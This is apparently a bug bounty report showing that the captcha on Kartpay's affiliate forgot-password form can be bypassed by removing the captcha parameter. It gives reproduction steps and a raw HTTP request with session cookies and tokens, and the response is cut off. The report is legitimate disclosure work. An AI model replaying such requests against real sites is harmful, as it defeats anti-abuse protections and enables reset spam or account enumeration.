Kartpay: bypass captcha in the form forgot password

Summary: In this issue I can bypass Captcha Protection in the Forgot Password form. Browsers Verified In: firefox url: https://affiliate.kartpay.com/ url vulnerable: https://affiliate.kartpay.com/forgot_password Steps To Reproduce: 1-Enter your email in the forgot password parameter. 2-complet captcha 3-Capture the request in the proxy. 4-delete captcha parameter from request. 5-check response Request: POST /forgot_password HTTP/1.1 Host: affiliate.kartpay.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: https://affiliate.kartpay.com/ Content-Type: application/x-www-form-urlencoded Content-Length: 70 Connection: close Cookie: XSRF-TOKEN=eyJpdiI6IjhjXC8zMFBQT3VFZW5VS2ZHSmVlRk1RPT0iLCJ2YWx1ZSI6Img2SjVsNHdhclVnaEI4dThmMGlWQXJVWHdWeGl1MjdTTFBKZkpiSCtsT2pQYld0Y0pvWURDa0RuNE9VQVU3NkkiLCJtYWMiOiI5ZDI0ZTE5YmQ1OWJhMmUwN2RjYzkzNjVhYTZiZDk1MzIzMjgyNzhjOWEyMmYwYzBmOGExZmEyNGE4MmU1YzIxIn0%3D; laravel_session=eyJpdiI6Incwcjc5S3JIbVpCSThoUWpiSmwwXC9RPT0iLCJ2YWx1ZSI6ImpZdGYrXC96cnBUS1oxb0FkRjA5anpiN013aTFLWFV5NlgzUG13SkpKRGVBT0NvYnpleEpZVWNmMWN6WitcLzF2QiIsIm1hYyI6ImUxMWQ4MjVlMzBjMDdkYWUxOWE2Zjk5OTc1OTFkMjBmNzJkNDkxMzZiY2RiOWJmMjA4MzVmNGQzZTZiMzc5ZjMifQ%3D%3D Upgrade-Insecure-Requests: 1 _token=hIfAxen5jTB2IcWjjpkxAjb1j9Ro8nPtyhveLdoT&email=test%40gmail.com Response: you can see it in...